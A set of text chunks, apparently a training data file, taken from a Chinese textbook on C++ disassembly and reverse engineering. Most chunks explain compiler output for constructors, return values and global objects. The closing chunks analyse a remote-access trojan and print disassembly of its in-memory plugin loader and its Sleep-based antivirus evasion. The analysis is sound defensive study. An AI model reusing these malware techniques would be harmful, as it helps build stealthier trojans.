;参数2person.count 0000000000402C3A mov r8d, [rsp+24h] ;参数3person.buffer[0] 0000000000402C3F lea rcx, aDDD ;参数1\"%d %d %d\" 0000000000402C46 call printf ;调用printf函数 0000000000402C4B xor eax, eax 0000000000402C4D add rsp, 58h 0000000000402C51 retn //x64_clang对应汇编代码相似略 代码清单9-9中main()函数的代码编译器进行了函数内联优化无法区分是对象还是变量。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 16.4 通信协议分析 通信协议分析如代码清单16-4所示。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 18.2 编译重建后的反汇编代码 18.1节介绍了简单的反汇编代码的重建过程如何对提取出的反汇编代码进行编译并与VS2019中的程序进行链接呢不管是汇编编译器还是C语言编辑器在编译的过程中都会生成通用的obj格式文件有了这个共同点就可以将汇编代码与C\\C++代码进行联合编译。首先利用RadASM对代码清单18-3进行编译生成obj文件如图18-2所示。 图18-2 生成obj文件的汇编文件 使汇编文件生成对应的obj文件后将图18-2中的MyToUpper.obj文件复制到VS2019的工程目录下。在VS2019的文件视图中将复制到目录的obj文件添加到当前工程中如图18-3所示。 图18-3 载入obj文件 这样一来函数的实现就被加载到了当前工程中如何调用obj文件中的ToUpper函数呢需要对该函数进行声明如图18-4所示。 图18-4 函数接口声明 在声明的过程中需要注意函数的调用约定以及加入“extern \"C\"”的说明防止函数被名词粉碎。现在万事俱备可以调用ToUpper函数了如图18-5所示。 图18-5 接口调用 运行程序输入字符串得到的结果如图18-6所示。 查看图18-6的显示结果是不是成功地将字符串helloworld由小写字符转换为大写字符了呢这表示从图18-1所示的程序中提取出来的代码被成功执行了。 图18-6 结果显示"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 10.1 构造函数的出现时机 对象生成时会自动调用构造函数。"},
    {"text": "这看似简单实际情况却是不同作用域的对象生命周期不同如局部对象、全局对象、静态对象等的生命周期各不相同而当对象作为函数参数与返回值时构造函数的出现时机又有所不同。 将对象进行分类不同类型对象的构造函数被调用的时机会发生变化但都会遵循C++语法即定义的同时调用构造函数。 那么只要知道了对象的生命周期便可推断构造函数的调用时机。 下面根据生命周期将对象进行分类然后分析各类对象构造函数和析构函数的调用时机。"},
    {"text": "代码清单10-1 无参构造函数的调用过程Debug版 // C++ 源码 #include <stdio.h> class Person { public: Person() { //无参构造函数 age = 20; } int age; }; int main(int argc, char* argv[]) { Person person; //类对象定义 return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push ecx 00401004 lea ecx, [ebp-4] ;取得对象首地址传入ecx作为参数ecx=&person 00401007 call sub_401020 ;调用构造函数 0040100C xor eax, eax 0040100E mov esp, ebp 00401010 pop ebp 00401011 retn 00401020 push ebp ;构造函数 00401021 mov ebp, esp 00401023 push ecx 00401024 mov [ebp-4], ecx ;[ebp-4]就是this指针 00401027 mov eax, [ebp-4] ;eax保存了对象的首地址 0040102A mov dword ptr [eax], 14h ;将数据成员age设置为20 00401030 mov eax, [ebp-4] ;将this指针存入eax作为返回值 00401033 mov esp, ebp 00401035 pop ebp 00401036 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D lea rcx, [rsp+20h];取得对象首地址传入rcx作为参数rcx=&person 0000000140001012 call sub_140001020 ;调用构造函数 0000000140001017 xor eax, eax 0000000140001019 add rsp, 38h 000000014000101D retn 0000000140001020 mov [rsp+8], rcx ;构造函数 0000000140001025 mov rax, [rsp+8] ;rax保存了对象的首地址 000000014000102A mov dword ptr [rax], 14h ;将数据成员age设置为20 0000000140001030 mov rax, [rsp+8] ;将this指针存入rax作为返回值 0000000140001035 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 当进入对象的作用域时编译器会产生调用构造函数的代码。"},
    {"text": "因为构造函数属于成员函数所以在调用的过程中同样需要传递this指针。 构造函数调用结束后会将this指针作为返回值。 返回this指针便是构造函数的特征之一结合C++的语法我们可以总结识别局部对象构造函数的必要条件请读者注意并不是充分条件。 该成员函数是这个对象在作用域内调用的第一个成员函数根据this指针可以区分每个对象。 这个成员函数是通过thiscall方式调用的。 这个函数返回this指针。"},
    {"text": "在使用new申请对象堆空间时许多初学者很容易将有参构造函数与对象数组搞混在申请对象数组时很容易写错将申请对象数组写成调用有参构造函数。"},
    {"text": "以int类型的堆空间申请为例代码如下所示。 // 圆括号是调用有参构造函数最后只申请了一个int类型的堆变量并赋初值 10 int *p= new int(10); // 方括号才是申请了10个int元素的堆数组 int *p = new int[10]; 类的堆空间申请与以上情况相似本想申请对象数组但是写成了调用有参构造函数。"},
    {"text": "当对象为参数时会触发此类对象的复制构造函数。 如果在函数调用时传递参数对象参数会进行复制形参是实参的副本相当于复制构造了一个全新的对象。 由于定义了新对象因此会触发复制构造函数在这个特殊的构造函数中完成两个对象间数据的复制。 如没有定义复制构造函数编译器会对原对象与复制对象中的各数据成员直接进行数据复制称为默认复制构造函数这种复制方式属于浅拷贝代码如下所示。 int main(int argc, char* argv[]) { Person obj1; //类Person的定义参考代码清单10-1 Person obj2(obj1); //Person中没有提供参数为对象引用的构造函数 return 0; } 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 lea ecx, [ebp-4] ;ecx=&obj1 00401009 call Person:Person ;调用构造函数 0040100E mov eax, [ebp-4] ;取出对象obj1中的数据成员信息 00401011 mov [ebp-8], eax ;赋值对象obj2中的数据成员信息 00401014 xor eax, eax 00401016 mov esp, ebp 00401018 pop ebp 00401019 retn 虽然使用编译器提供的默认复制构造函数很方便但在某些特殊情况下这种复制会导致程序错误如第9章提到的资源释放错误。 当类中有资源申请并以数据成员来保存这些资源时就需要使用者自己提供一个复制构造函数。 在复制构造函数中要处理的不仅仅是源对象的各数据成员还有它们指向的资源数据。 把这种源对象中的数据成员间接访问到的其他资源并制作副本的复制构造函数称为深拷贝如代码清单10-3所示。"},
    {"text": "图10-1 复制指针与原指针对比 由于使用了深拷贝方式对对象中的数据成员指向的堆空间数据也进行了数据复制因此当参数对象被销毁时释放的堆空间数据是复制对象制作的数据副本对源对象没有任何影响。"},
    {"text": "代码清单10-4 返回对象的构造函数使用Debug版 // C++ 源码 // 类的定义请查看代码清单10-3 Person getObject() { Person person; person.setName(\"Hello\"); return person; //返回类型为对象 } int main(int argc, char* argv[]) { Person person = getObject(); return 0; } //x86_vs对应汇编代码讲解 00401040 push ebp 00401041 mov ebp, esp 00401043 sub esp, 8 00401046 lea eax, [ebp-4] ;取对象person的首地址 00401049 push eax ;将对象的首地址作为参数传递 0040104A call sub_401000 ;调用getObject函数 0040104F add esp, 4 00401052 mov dword ptr [ebp-8], 0 00401059 lea ecx, [ebp-4] ;将对象person的首地址作为参数传递 0040105C call sub_4010F0 ;调用析构函数 00401061 mov eax, [ebp-8] 00401064 mov esp, ebp 00401066 pop ebp 00401067 retn 00401000 push ebp ;getObject函数 00401001 mov ebp, esp 00401003 push ecx 00401004 lea ecx, [ebp-4] ;将局部对象的首地址作为参数传递 00401007 call sub_4010D0 ;调用构造函数 0040100C push offset aHello ; \"Hello\" 00401011 lea ecx, [ebp-4] ;将局部对象的首地址作为参数传递 00401014 call sub_401130 ;调用成员函数setName 00401019 lea eax, [ebp-4] ;获取局部对象的首地址 0040101C push eax ;将局部对象的地址作为参数 0040101D mov ecx, [ebp+8] ;获取参数中保存的this指针。"},
    {"text": "Person* getObject(Person* p); 虽然编译器会对返回值为对象类型的函数进行调整修改其参数与返回值但是它留下了一个与返回指针类型不同的象征就是在函数中使用构造函数。 返回值和参数是对象指针类型的函数不会使用以参数为目标的构造函数而是直接使用指针保存对象首地址代码如下所示。 //函数的返回类型与参数类型都是对象的指针类型 Person* getObject(Person* p) { Person person; // 定义局部对象 person.setName(\"World\"); p = &person; return p; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 lea ecx, [ebp-4] 00401009 call sub_401070 0040100E push offset aWorld ;\"World\" 00401013 lea ecx, [ebp-4] 00401016 call sub_4010D0 0040101B lea eax, [ebp-4] 0040101E mov [ebp+8], eax 00401021 mov ecx, [ebp+8] 00401024 mov [ebp-8], ecx ;直接保存局部对象首地址 00401027 lea ecx, [ebp-4] 0040102A call sub_401090 0040102F mov eax, [ebp-8] ;将局部对象作为返回值 00401032 mov esp, ebp 00401034 pop ebp 00401035 retn 在使用指针作为参数和返回值时函数内没有对构造函数的调用。"},
    {"text": "以此为依据便可以分辨参数或返回值是对象还是对象的指针。 如果在函数内为参数指针申请了堆对象就会存在new运算和构造函数的调用因此更容易分辨参数和返回值了。"},
    {"text": "extern \"C\" void __cdecl _initterm(_PVFV* const first, _PVFV* const last) { for (_PVFV* it = first; it != last; ++it) { if (*it == nullptr) continue; (**it)(); } } 当it不为NULL时执行(**it)()后并不会进入全局对象的构造函数而是进入编译器提供的构造代理函数由一个负责全局对象的构造代理函数完成调用全局构造函数如代码清单10-5所示。 代码清单10-5 全局对象构造代理函数的分析Debug版 // C++ 源码 #include <stdio.h> #include <string.h> class Person { public: Person() { printf(\"Person()\"); } ~Person(){ printf(\"~Person()\"); } }; Person g_person1; //定义全局对象 Person g_person2; //定义全局对象 int main(int argc, char* argv[]) { printf(\"main\"); return 0; } //x86_vs对应汇编代码讲解 0040149D push offset dword_412120 ;参数2代码析构函数数组终止地址 004014A2 push offset dword_412110 ;参数1代理析构函数数组起始地址 004014A7 call __initterm ;遍历调用代理析构函数数组 00412110 dd 0 ;代理析构函数数组 00412114 dd 0040141E 00412118 dd 00401000 ;g_person1代理析构函数 0041211C dd 00401020 ;g_person2代理析构函数 00412120 dd 0 00401000 push ebp ;g_person1代理析构函数 00401001 mov ebp, esp 00401003 mov ecx, offset unk_4198B8 ;ecx=&g_person1 00401008 call sub_401060 ;调用构造函数 0040100D push 00411660 00401012 call _atexit ;注册g_person1析构代理函数 00401017 add esp, 4 0040101A pop ebp 0040101B retn 00401020 push ebp ;g_person2代理析构函数 00401021 mov ebp, esp 00401023 mov ecx, offset unk_4198B9 ;ecx=&g_person2 00401028 call sub_401060 ;调用构造函数 0040102D push 00411670 00401032 call _atexit ;注册g_person2析构代理函数 00401037 add esp, 4 0040103A pop ebp 0040103B retn //x86_gcc对应汇编代码讲解 00401510 push ebp ;main()函数 00401511 mov ebp, esp 00401513 and esp, 0FFFFFFF0h 00401516 sub esp, 10h 00401519 call ___main ;调用初始化函数 0040151E mov dword ptr [esp], offset aMain ; \"main\" 00401525 call _printf 0040152A mov eax, 0 0040152F leave 00401530 retn 0040B140 mov eax, ds:_initialized ;初始化函数 0040B145 test eax, eax 0040B147 jz short loc_40B150 0040B149 rep retn 0040B14B align 10h 0040B150 mov ds:_initialized, 1 0040B15A jmp short ___do_global_ctors ;调用___do_global_ctors函数初始化全局对象 0040B0F0 push ebx ;___do_global_ctors函数 0040B0F1 sub esp, 18h 0040B0F4 mov ebx, ds:___CTOR_LIST__ 0040B0FA cmp ebx, 0FFFFFFFFh 0040B0FD jz short loc_40B120 0040B0FF test ebx, ebx 0040B101 jz short loc_40B10F 0040B103 call ds:___CTOR_LIST__[ebx*4] ;遍历调用代理析构函数数组 0040B10A sub ebx, 1 0040B10D jnz short loc_40B103 0040B10F mov dword ptr [esp], offset ___do_global_dtors ; void (__cdecl *)() 0040B116 call _atexit 0040B11B add esp, 18h 0040B11E pop ebx 0040B11F retn ;代理析构函数数组 0040F304 dd offset __GLOBAL__sub_I_g_person1 ;Person代理析构函数 0040F308 dd offset __GLOBAL__sub_I__ZN9__gnu_cxx9__freeresEv 0040F30C dd offset __GLOBAL__sub_I___cxa_get_globals_fast 0040F310 dd offset _register_frame_ctor 00401555 push ebp ;Person代理析构函数 00401556 mov ebp, esp 00401558 sub esp, 18h 0040155B cmp [ebp+arg_0], 1 0040155F jnz short loc_401596 00401561 cmp [ebp+arg_4], 0FFFFh 00401568 jnz short loc_401596 0040156A mov ecx, offset _g_person1 ;ecx=&g_person1 0040156F call __ZN6PersonC1Ev ;调用构造函数 00401574 mov dword ptr [esp], offset ___tcf_0 0040157B call _atexit ;注册g_person1析构代理函数 00401580 mov ecx, offset _g_person2 ;ecx=&g_person2 00401585 call __ZN6PersonC1Ev ;调用构造函数 0040158A mov dword ptr [esp], offset ___tcf_1 00401591 call _atexit ;注册g_person2析构代理函数 00401596 nop 00401597 leave 00401598 retn //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码相似略 //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 通过对代码清单10-5的分析可以了解全局对象的定义过程。"},
    {"text": "由于构造函数需要传递对象的首地址作为this指针而且构造函数可以携带各类参数因此编译器将为每个全局对象生成一段传递this指针和参数的代码然后使用无参代理函数调用构造函数。"},
    {"text": "全局对象构造函数的调用被隐藏在深处那么在分析的过程中该如何跟踪全局对象的构造函数呢可使用两种方法直接定位初始化函数和利用栈回溯。"},
    {"text": "1. 直接定位初始化函数 先进入mainCRTStartup函数顺藤摸瓜找到初始化函数_cinit在_cinit函数的第二个_initterm处设置断点。 运行程序后进入_initterm的实现代码内断点在(**it)()执行处单步进入代理构造即可得到全局对象的构造函数。 读者可以先在源码环境下单步跟踪待熟悉后就可以脱离源码直接在反汇编的条件下利用OllyDbg或者WinDbg等调试工具熟悉反汇编代码尝试用自己的方法总结出快速识别初始化函数的规律。"},
    {"text": "2. 利用栈回溯 如果反汇编代码中出现了全局对象因为全局对象的地址固定对于有重定位表的执行文件中的全局对象也可以在执行文件被加载后至执行前计算得到全局对象的地址所以可以在对象的数据成员中设置读写断点调试运行程序等待调用构造函数。"},
    {"text": "其实最简单的办法是对atexit设置断点这是因为构造代理函数中会注册析构函数其注册的方式是使用atexit在讲解虚函数的时候我们会做详细介绍。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 前言 为什么要写这本书 “时下的IDE很多都是极其优秀的拜其所赐职场上的程序员多出十几倍但是又有多少人能理解程序内部的机制呢” ——侯捷 [1] 随着软件技术的发展及其在各个领域的广泛应用对软件进行逆向分析通过阅读其反汇编代码推断数据结构、体系结构和程序设计思路的需求越来越多。 逆向分析技术能帮助我们更好地研究和学习先进的软件技术特别是当我们非常想知道某个软件的某些功能是如何实现的而手头又没有合适的资料时。 如果能够利用逆向技术去研究一些一流软件的设计思想和实现方法那么我们的软件技术水平将会得到极大的提升。 目前国内关于逆向分析技术的资料实在不多大中专院校的计算机相关专业对此技术也没有足够的重视。"},
    {"text": "有很多人认为研究程序的内部原理会破坏“黑盒子”的封装性但是如果我们只是在别人搭建好的平台上做开发那么始终只能使用别人提供的未开源的SDK会一直受牵制。"},
    {"text": "因为有了这段经历我斗胆争先决定将自己多年来在反汇编与逆向分析技术领域的经验和心得整理出来与大家分享希望更多的开发人员在掌握这项技术后能更好地将其应用到软件开发实践中从而提高我国软件行业的整体水平。"},
    {"text": "数据结构的基础知识如栈结构存取元素的特点等。 汇编的基础知识如寻址方式和指令的使用等。 C/C++语言的基础知识如指针、虚函数和继承的概念等。"},
    {"text": "如果你是一位反病毒分析人员或者电子证据司法取证分析人员通过逆向分析恶意软件样本你可以进行取证分析处理例如分析开发者的编写习惯、推断开发者的编程水平甚至可以进一步判定某病毒样本是否与其他病毒出自同一人之手。"},
    {"text": "如果你是一位高等院校计算机相关专业的学生本科或本科以上你可以通过学习书中的软件逆向分析技术来拓展思路为未来进军软件研发行业打下基础。"},
    {"text": "一般来说大师级的程序员对软件逆向分析技术都有深入的理解他们在编写高级语言代码的同时心里还会浮现对应的汇编代码在写程序的时候就已经非常了解最终产品的模样达到了人机合一的境界所以在调试Bug的时候游刃有余。 逆向分析技术重在代码的调试和分析如果你本来就是一位技术不错的程序员学习这部分内容就是对你“内功”的锻炼这部分内容可以帮助你彻底掌握C/C++各种特性的底层机制不仅能做到知其然还能知其所以然。"},
    {"text": "第三部分 逆向分析技术应用第1418章 这是本书的最后一部分以理论与实践相结合的方式通过对具体程序的分析来加深大家对前面所学理论知识的理解从而快速积累实战经验。"},
    {"text": "第14章分析了PE文件分析工具PEiD的工作原理第15章分析了调试器OllyDbg的工作原理第16章对大灰狼远控木马进行了逆向分析第17章对WannaCry勒索病毒进行了逆向分析第18章讲解了反汇编代码的重建与编译。"},
    {"text": "通过这部分内容的学习大家可以领略逆向分析技术的魔力。 如何阅读本书 逆向分析技术具有很强的综合性和实践性要掌握这项技术需要耐心和毅力。"},
    {"text": "建议大家从最简单的程序入手按照本书安排的顺序逐章阅读一边看书一边积极地思考和总结。 对于一些理论知识如果你兴趣不大在初学阶段可以跳过待以后需要提高时再回过头来阅读。"},
    {"text": "致谢 在本书写作的过程中我得到过很多同行的指点和帮助在此表示感谢感谢唐培、田青、王金龙、吴超、秦颂浩、李常坤、薛晓昊、黄震、何锡宁、刘帅等人排名不分先后。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 9.6 本章小结 本章首先讨论了结构体和类的内存结构然后讨论了函数间对象传递的相关问题以及这些问题在编译器内部的实现原理。我们可以看到当对象结构简单、体积小时函数间的对象传递直接使用eax和edx保存对象中的内容。当对象体积过大结构复杂时寄存器就明显不够用了于是编译器在开发人员不知情的情况下偷偷给函数加上一个参数将其作为返回值。传递参数对象时存在一次复制过程简单的对象直接按成员顺序执行push指令传参复杂的对象则使用重复前缀的串操作指令rep movs其edi被设置为栈顶。 在访问对象成员时寻址方式颇为特别使用的是寄存器相对间接访问方式。这种访问方式可以作为识别对象的必要条件但是还须考察成员类型。如果类型一致则应优先考虑是数组的访问。因为在数组的下标访问时编译器也可能采用寄存器相对间接访问方式如a[i]当i为常量时就会出现寄存器相对间接访问方式。当对象在栈内时其首地址表示为ebp±n或者esp + n其中n为立即数而编译器计算对象成员的地址为对象首地址+成员偏移量这个偏移量值是编译器在编译过程中确定的视为常量值结合上式对象成员的地址表达为ebp ± n + offset或者esp + n + offset其中n和offset成员偏移量皆为常量符合常量折叠的优化条件于是在编译时可计算出N = n±offset所以在分析的时候我们只能看到ebp±N或者esp + N。 思考题答案 &((struct A*)NULL)->f不会崩溃这时求f的地址根据前面提出的结构体寻址公式 p->member的地址 = 指针p的地址值+ member在type中的偏移量代入得&((struct A*)NULL)->f = 0 + 4 = 4。 这个表达式实际上是求结构体内成员的偏移量。 可以定义如下宏用于在不产生对象的情况下取得成员偏移量。 #define offsetof(s,m) (size_t)&(((s *)0)->m) 大家不用自行定义在VS的stddef.h中有offsetof的官方定义。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 6.5 函数的返回值 函数调用结束后ret指令执行后为什么可以返回到函数调用处的下一条指令呢执行call指令时该指令同时还会做另一件事那就是将下一条指令所在的地址压入栈中。图6-4为函数调用前esp与栈中内存数据的信息。 图6-4 调用函数前esp与栈中的信息 call指令的下一句指令所在地址为0x008A19E3当前esp保存的地址为0x009AFB70。当执行call指令时再次进入函数实现中观察esp与栈数据的变化发现esp被减4并且其对应地址中的数据被修改了如图6-5所示。 图6-5 执行call指令后esp与栈中内存数据的信息 在图6-5中执行call指令后由于有压栈操作esp被减4修改为0x009AFB6C并且该地址中保存的信息为0x008A19E3。对比图6-4该地址即为函数的返回地址。当函数执行到ret指令时当前esp已经被平衡此时将再次指向0x009AFB70。函数退出前会执行ret指令这个指令取得esp指向的4字节内容作为函数的返回地址值更新eip程序的流程回到返回地址处同时执行esp加4的操作以释放返回的地址空间平衡栈顶。 前面分析了call和ret指令的细节介绍了栈结构中函数的运行机制。那么函数的返回值是如何得到的呢编译器中使用寄存器eax保存函数的返回值因为32位的eax寄存器只能保存4字节数据所以大于4字节的数据将使用其他方法保存。通常eax作为返回值只有基本数据类型与sizeoftype小于或等于4的自定义类型浮点类型除外详见2.2.1节。在Debug版下如果函数有返回值最后的操作通常为对eax赋值后执行ret指令如代码清单6-6所示。 代码清单6-6 函数返回值Debug版 // C++ 源码 #include <stdio.h> int getAddr(int n){ int ret = *(int*)(&n - 1); return ret; //将返回地址作为返回值 } int main(int argc, char* argv[]) { int ret = getAddr(1); return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 push ecx 00401024 push 1 00401026 call sub_401000 ;调用getAddr函数 0040102B add esp, 4 0040102E mov [ebp+var_4], eax 00401031 xor eax, eax 00401033 mov esp, ebp 00401035 pop ebp 00401036 retn 00401000 push ebp 00401001 mov ebp, esp 00401003 push ecx 00401004 lea eax, [ebp+8] ;ebp加法与esp加法原理相同都是取参数这里为什 ;么是加8呢在Debug版下进入函数后首先保存ebp会执行 ;push ebp的操作这样esp将执行压栈减4操作然后执行 ;mov ebp, esp的操作由于栈顶esp之前被修改所以ebp ;需要加4调整到最初的栈底位置。因此ebp+4可以得到返回地 ;址ebp+8将会寻址第一个参数。以下代码将第一个参数的 ;地址传入eax 00401007 sub eax, 4 ;执行eax自减4操作执行后eax等价于ebp+4ebp+4保存了 ;函数的返回地址 0040100A mov ecx, [eax] ;取出函数返回地址传入ecx 0040100C mov [ebp-4], ecx ;使用ecx赋值局部变量 0040100F mov eax, [ebp-4] ;取出局部变量数据传入eax用作函数返回值 00401012 mov esp, ebp 00401014 pop ebp 00401015 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 代码清单6-6利用函数的特性通过对参数地址的间接访问得到函数返回地址最后通过eax寄存器将其返回。接下来我们分析一个不寻常的示例返回值类型为自定义类型——结构体其大小超过4字节编译器会如何处理呢请阅读代码清单6-7。 代码清单6-7 结构体类型作为返回值 // C++源码 #include <stdio.h> struct Test { int mem1; int mem2; }; Test retStruct() { Test test; test.mem1 = 1; test.mem2 = 2; return test; } int main(int argc, char* argv[]) { Test test; test = retStruct(); return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 sub esp, 10h 00401026 call sub_401000 ;调用retStruct函数 0040102B mov [ebp-8], eax 0040102E mov [ebp-4], edx 00401031 mov eax, [ebp-8] 00401034 mov [ebp-10h], eax 00401037 mov ecx, [ebp-4] 0040103A mov [ebp-0Ch], ecx 0040103D xor eax, eax 0040103F mov esp, ebp 00401041 pop ebp 00401042 retn 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 mov dword ptr [ebp-8], 1; 对结构体成员变量赋值 0040100D mov dword ptr [ebp-4], 2 ;对结构体成员变量赋值 00401014 mov eax, [ebp-8] ;取结构体成员变量数据传入eax 00401017 mov edx, [ebp-4] ;取结构体成员变量数据传入edx 0040101A mov esp, ebp 0040101C pop ebp 0040101D retn ;执行ret指令结束函数调用 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 代码清单6-9演示了一个返回类型为结构体并且大于4字节的返回流程。因为只有两个成员所以编译器使用了eax和edx传递返回值。本节重点讲解了函数的识别目的只是让读者了解函数对返回值的处理关于结构体知识的更多讲解见第9章。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第16章 大灰狼远控木马逆向分析 大灰狼远程控制木马是一个较为常见的远控工具不同的木马病毒团伙对其定制改造后发布了诸多变种。本章将从启动过程、通信协议、远控功能三个方面逆向分析该木马的实现原理。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 16.2 病毒程序初步分析 用Detect It Easy工具对病毒样本进行分析后发现这个病毒程序是由Microsoft Visual C/C++(6.0,2003)编译器编写的。 对病毒样本进行简单分析后我们确定了分析的方向接下来就要使用IDA分析病毒样本的程序分析后的结果如图16-3所示。 图16-3 病毒样本入口代码片段 图16-3所示为入口处的部分反汇编代码是VS编译器生成的代码它们并不是我们关心的病毒程序的功能代码故不对其进行分析。我们直接从WinMain处理代码开始分析如图16-4所示。 从图16-4中可以看出WinMain入口病毒不断插入调用Sleep API函数这是病毒干扰杀毒软件查杀的一种方式。 图16-4 病毒样本WinMain代码片段 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 16.1 调试环境配置 首先需要准备调试环境安装虚拟机VMware Workstation配置操作系统本书以Windows 7为例准备用于调试的病毒样本如图16-1所示。 图16-1 虚拟调试环境VMware Workstation界面 配置好虚拟机后请不要急于调试和分析病毒样本我们需要先做快照备份用于虚拟调试环境的还原工作。依次单击菜单选项“虚拟机”→“快照”→“从当前状态创建快照”弹出快照创建窗口如图16-2所示。 图16-2 创建快照窗口 重新修改快照名称然后单击“拍摄快照”保存快照信息。到这里我们的前期准备工作就完成了。配置好虚拟调试环境即使不小心运行了病毒程序只须还原快照即可回到虚拟环境的初始状态。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 1.4 调试工具x64dbg OllyDbg虽然功能强大但是并不支持64位应用程序的调试。x64dbg是一个开源的调试器支持32/64位程序的调试其功能、界面、快捷键与OllyDbg大体一致会使用OllyDbg的人很容易适应x64dbg的使用方式。读者可以自行使用x64dbg修改“Hello world”程序的标题来熟悉x64dbg的使用。x64dbg的界面如图1-26所示。 图1-26 x64dbg界面"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 16.5 远控功能分析 远控功能分析如代码清单16-5所示。"},
    {"text": "代码清单16-5 从主控端下载并运行插件功能代码片段 .text:0040287A mov eax, g_isLoad ; 插件加载标志 .text:0040287F push ebp .text:00402880 mov [esp+60h+var_44], cl .text:00402884 mov [esp+60h+var_3A], cl .text:00402888 mov cl, byte ptr word_409C10 .text:0040288E xor ebp, ebp .text:00402890 mov bl, 'S' .text:00402892 push esi .text:00402893 mov esi, ds:Sleep .text:00402899 mov [esp+64h+var_43], 'I' .text:0040289E test eax, eax .text:004028A0 mov [esp+64h+var_42], 'D' .text:004028A5 mov [esp+64h+var_41], ':' .text:004028AA mov [esp+64h+var_40], '2' .text:004028AF mov [esp+64h+var_3F], '0' .text:004028B4 mov [esp+64h+var_3D], '3' .text:004028B9 mov [esp+64h+var_3C], '-' .text:004028BE mov [esp+64h+var_3B], bl .text:004028C2 mov [esp+64h+var_38], 0 ; 插件文件ID标志 .text:004028C7 mov byte ptr [esp+64h+IsLoad], cl .text:004028CB jnz loc_402A41 ; 检查是否加载插件 .text:004028D1 mov ecx, [esp+64h+arg_4] .text:004028D5 push ecx .text:004028D6 call get_control_path ; 获取插件保存路径C:\\windows\\system32 .text:004028DB add esp, 4 .text:004028DE push ebp ; dwMilliseconds .text:004028DF call esi ; Sleep .text:004028E1 push offset FileName ; lpFileName .text:004028E6 call ds:GetFileAttributesA .text:004028EC cmp eax, 0FFFFFFFFh .text:004028EF jz short loc_402966 ; 检查插件动态库文件是否存在 .text:00402982 push 0 ; hTemplateFile .text:00402984 push 80h ; dwFlagsAndAttributes .text:00402989 push 3 ; dwCreationDisposition .text:0040298B push 0 ; lpSecurityAttributes .text:0040298D push 0 ; dwShareMode .text:0040298F push 80000000h ; dwDesiredAccess .text:00402994 push offset FileName ; lpFileName .text:00402999 call ds:CreateFileA ; 插件更新完成打开插件文件 .text:0040299F cmp eax, 0FFFFFFFFh .text:004029A2 mov hObject, eax .text:004029A7 jnz short loc_4029B2 .text:004029A9 pop esi .text:004029AA pop ebp .text:004029AB xor eax, eax .text:004029AD pop ebx .text:004029AE add esp, 58h .text:004029B1 retn .text:004029B2 push 0 ; dwMilliseconds .text:004029B4 call esi ; Sleep .text:004029B6 mov eax, hObject .text:004029BB push 0 ; lpFileSizeHigh .text:004029BD push eax ; hFile .text:004029BE call ds:GetFileSize ; 获取文件大小 .text:004029C4 push 4 ; flProtect .text:004029C6 push 3000h ; flAllocationType .text:004029CB push eax ; dwSize .text:004029CC push 0 ; lpAddress .text:004029CE mov nNumberOfBytesToRead, eax .text:004029D3 call ds:VirtualAlloc ; 根据文件大小申请内存缓冲区加载 .text:004029DB mov lpBuffer, eax .text:004029E2 mov ecx, nNumberOfBytesToRead .text:004029E8 mov edx, lpBuffer .text:004029EE mov eax, hObject .text:004029F3 push 0 ; lpOverlapped .text:004029F5 push offset NumberOfBytesRead ; lpNumberOfBytesRead .text:004029FA push ecx ; nNumberOfBytesToRead .text:004029FB push edx ; lpBuffer .text:004029FC push eax ; hFile .text:004029FD call ds:ReadFile ; 读取文件数据 .text:00402A03 push 0 ; dwMilliseconds .text:00402A05 call esi ; Sleep .text:00402A07 mov ecx, hObject .text:00402A0D push ecx ; hObject .text:00402A0E call ds:CloseHandle ; 关闭文件 .text:00402A18 mov edx, lpBuffer .text:00402A1E push edx .text:00402A1F call load_pe ; 内存中模拟加载PE文件避免调用LoadLibrary .text:00402A24 add esp, 4 .text:00402A27 mov dword_4098B0, eax .text:00402A2C test eax, eax .text:00402A2E jnz short loc_402A37 ; 修改内存加载标志 .text:00402A30 pop esi .text:00402A31 pop ebp .text:00402A32 pop ebx 